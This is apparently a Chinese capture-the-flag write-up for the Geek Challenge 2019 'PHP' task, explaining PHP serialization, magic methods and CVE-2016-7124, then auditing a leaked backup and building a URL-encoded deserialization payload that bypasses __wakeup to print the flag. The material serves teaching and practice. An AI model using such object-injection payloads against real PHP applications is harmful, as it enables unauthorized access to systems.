[极客大挑战 2019]PHP学习笔记

目录

    • 前置知识
      • [1. PHP 序列化与反序列化](#1. PHP 序列化与反序列化)
      • [2. PHP 魔术方法](#2. PHP 魔术方法)
      • [3. CVE-2016-7124(`__wakeup` 绕过)](#3. CVE-2016-7124(__wakeup 绕过))
      • [4. 私有属性的序列化格式](#4. 私有属性的序列化格式)
    • 正文

前置知识

在开始做题之前,先理解几个关键概念:

1. PHP 序列化与反序列化

  • 序列化(serialize):把 PHP 对象转换成可存储/传输的字符串格式
  • 反序列化(unserialize):把序列化字符串恢复成 PHP 对象
php 复制代码
// 一个简单对象的序列化结果
O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";...}
// ↑类名  ↑属性数  ↑属性名(带空字节)  ↑属性值

2. PHP 魔术方法

  • __wakeup():反序列化时自动调用(常用于重新连接数据库、重置属性等)
  • __destruct():对象销毁时自动调用(常用于释放资源)
  • __construct():创建对象时调用

3. CVE-2016-7124(__wakeup 绕过)

在 PHP 5.x ~ 7.0.10 版本中,如果序列化字符串声明的属性数量 大于实际的属性数量,__wakeup() 方法会被跳过不执行。

4. 私有属性的序列化格式

PHP 中 private 属性在序列化时,属性名会被加上 \0ClassName\0 前缀(即:空字节 + 类名 + 空字节)。因此:

  • private $username → 序列化后为 \0Name\0username(长度为 14)
  • private $password → 序列化后为 \0Name\0password(长度为 14)

正文

一、信息收集

访问目标网站,发现是一个展示猫咪的页面,页面上有一句提示:

"因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯"

这句话暗示网站存在备份文件。尝试访问常见的备份文件名:

url 复制代码
https://target.com/www.zip

成功下载得到 www.zip。解压后得到以下文件:

文件名 作用
index.php 主页面,接收 select 参数并反序列化
class.php 定义 Name 类,包含 __wakeup 和 __destruct 魔术方法
flag.php 定义 $flag 变量(本地测试用)
style.css 样式文件
index.js 前端 3D 动画

二、zip包内容代码审计

先看index.php(关键部分):

php 复制代码
include 'class.php';
$select = $_GET['select'];
$res = unserialize(@$select);

直接从 GET 参数 select 获取输入并反序列化,没有任何过滤!

再看class.php(关键部分):

php 复制代码
class Name {
    private $username = 'nonono';
    private $password = 'yesyes';

    function __wakeup() {
        $this->username = 'guest';  // 反序列化时重置为 guest
    }

    function __destruct() {
        if ($this->password != 100) {
            die("NO!!!hacker!!!");
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;  // 打印 flag!
        }
    }
}

逻辑分析:

  1. __destruct() 在对象销毁时执行
  2. 需要 $password == 100 且 $username === 'admin'
  3. 但 __wakeup() 会在反序列化时把 $username 改成 'guest'
  4. 服务端 PHP 版本为 5.3.3 ,可以利用 CVE-2016-7124 绕过 __wakeup()

三、构造payload

需要构造一个序列化对象,满足:

  • $username = 'admin'
  • $password = 100
  • 绕过 __wakeup()

正常序列化字符串(会被 __wakeup 拦截):

复制代码
O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

绕过 __wakeup()(把属性数量从 2 改成 3):

复制代码
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

URL 编码后(注意 \0 空字节要编码为 %00):

复制代码
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

四、发送 Payload 获取 Flag

访问目标网址(注意把 URL 编码后的 payload 拼接到 ?select= 后面):

html 复制代码
http://目标网址/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
相关推荐
lie..15 分钟前
30天从零开始学AI应用开发(Day 12):像产品一样稳:流式输出、报错重试、花钱控制
开发语言·人工智能·php
Century_Dragon27 分钟前
从挂图到VR:汽修专业的一堂新能源原理课可以怎么上~
学习
知识分享小能手1 小时前
C++ 学习教程,从入门到精通,C++对象和类 — 详细知识点总结(10)
开发语言·c++·学习
郑州光合科技余经理1 小时前
同城电商系统:库存变更怎么同步到订单
java·开发语言·前端·后端·uni-app·php·ai编程
New农民工2 小时前
倒立摆训练秘籍:理解训练参数
学习
L@ncor2 小时前
第五章 基于低代码平台的智能体搭建 · 学习笔记(Coze / Dify / FastGPT / n8n)
笔记·学习·低代码·agent·prompt工程
知潮网2 小时前
被嫌弃的五仁月饼,一吨千元在养猪场翻了身
笔记
2601_960631232 小时前
中药前处理及提取的工艺环节与技术要点
笔记
2601_965384263 小时前
口腔黏膜清洁中的几何约束与流体动力学边界层问题分析
经验分享·笔记
迪丽热爱3 小时前
多媒体应用20-903(补)
学习